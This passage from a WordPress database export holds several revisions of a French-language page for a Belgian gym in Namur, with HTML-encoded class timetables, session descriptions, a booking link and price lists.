#eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX/Cardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Bootcamp&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FC6ED;\&quot;&gt;Cardio&lt;/span&gt; : Entraînement développant votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et pour perdre du poids (en complément avec un programme alimentaire) !\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FEA;\&quot;&gt;Psychomotricité&lt;/span&gt; : Séance réservée aux enfants de 3 à 6 ans.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX/Cardio&lt;/span&gt; : Entraînement croisé entre le TRX et le cardio. Vous travaillerez ici votre endurance et votre renforcement musculaire global.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€&lt;br&gt;30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€&lt;br&gt;30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€&lt;br&gt;1 carte de 10 séances : 90.00€ (valable 6 mois)&lt;br&gt;1 carte de 20 séances : 150.00€ (valable 6 mois)&lt;br&gt;1 carte de 50 séances : 300.00€ (valable 1 an)&lt;br&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:43:46', '2014-08-31 08:43:46', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(461, 1, '2014-12-15 19:40:04', '2014-12-15 19:40:04', '', 'LesMills', '', 'inherit', 'open', 'open', '', 'lesmills', '', '', '2014-12-15 19:40:04', '2014-12-15 19:40:04', '', 363, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills.png', 0, 'attachment', 'image/png', 0);
INSERT INTO `www2_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(466, 1, '2014-12-15 19:44:19', '2014-12-15 19:44:19', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;100\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-12-15 19:44:19', '2014-12-15 19:44:19', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(457, 1, '2014-08-31 08:47:00', '2014-08-31 08:47:00', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tpsychomot\&quot;&gt;Psychomotricité&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;Cardio&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX/Cardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Bootcamp&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FC6ED;\&quot;&gt;Cardio&lt;/span&gt; : Entraînement développant votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et pour perdre du poids (en complément avec un programme alimentaire) !\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FEA;\&quot;&gt;Psychomotricité&lt;/span&gt; : Séance réservée aux enfants de 3 à 6 ans.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX/Cardio&lt;/span&gt; : Entraînement croisé entre le TRX et le cardio. Vous travaillerez ici votre endurance et votre renforcement musculaire global.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€&lt;br&gt;30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€&lt;br&gt;30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€&lt;br&gt;1 carte de 10 séances : 90.00€ (valable 6 mois)&lt;br&gt;1 carte de 20 séances : 150.00€ (valable 6 mois)&lt;br&gt;1 carte de 50 séances : 300.00€ (valable 1 an)&lt;br&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€&lt;br&gt;Séance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n\r\n\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching 